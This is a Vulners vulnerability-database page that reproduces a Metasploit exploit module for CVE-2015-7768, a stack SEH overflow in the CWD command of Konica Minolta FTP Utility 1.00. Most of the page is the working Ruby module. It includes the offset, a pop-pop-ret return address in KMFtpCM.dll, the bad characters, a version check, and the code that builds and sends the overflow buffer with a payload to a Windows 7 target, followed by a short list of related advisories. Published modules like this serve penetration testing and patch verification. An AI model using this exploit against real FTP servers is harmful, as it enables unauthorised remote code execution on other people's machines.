Lucene search
K

Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow

🗓️ 23 Aug 2015 13:49:26Reported by Shankar Damodaran, Muhamad Fadzil Ramli <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 58 Views

Konica Minolta FTP Utility 1.00 SEH overflow exploit using CWD comman

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-7768
21 Sep 201500:00
circl
CNVD
Konica Minolta FTP Utility Buffer Overflow Vulnerability
13 Oct 201500:00
cnvd
CVE
CVE-2015-7768
9 Oct 201514:00
cve
Cvelist
CVE-2015-7768
9 Oct 201514:00
cvelist
NVD
CVE-2015-7768
9 Oct 201514:59
nvd
OpenVAS
Konica Minolta FTP Utility 1.0 Multiple Vulnerabilities - Active Check
28 Sep 201500:00
openvas
Packet Storm
Konica Minolta FTP Utility 1.0 SEH Buffer Overflow
31 May 201600:00
packetstorm
Prion
Buffer overflow
9 Oct 201514:59
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
      'Description' => %q{
          This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
        Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
        leads to an SEH overflow.  Konica FTP allows anonymous access by default; valid
        credentials are typically unnecessary to exploit this vulnerability.
      },
      'Author' =>
        [
          'Shankar Damodaran', # stack buffer overflow dos p.o.c
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
        ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [],
        'SideEffects' => [],
        'Reliability' => []
      },
      'References' =>
        [
          [ 'CVE', '2015-7768' ],
          [ 'EDB', '37908' ]
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'Space' => 1500,
          'BadChars' => "\x00\x0a\x2f\x5c",
          'DisableNops' => true
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Windows 7 SP1 x86',
            {
              'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
              'Offset' => 1037
            }
          ]
        ],
      'DisclosureDate' => '2015-08-23',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect_login

    buf = rand_text(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text(3000)

    print_status("Sending exploit buffer...")
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation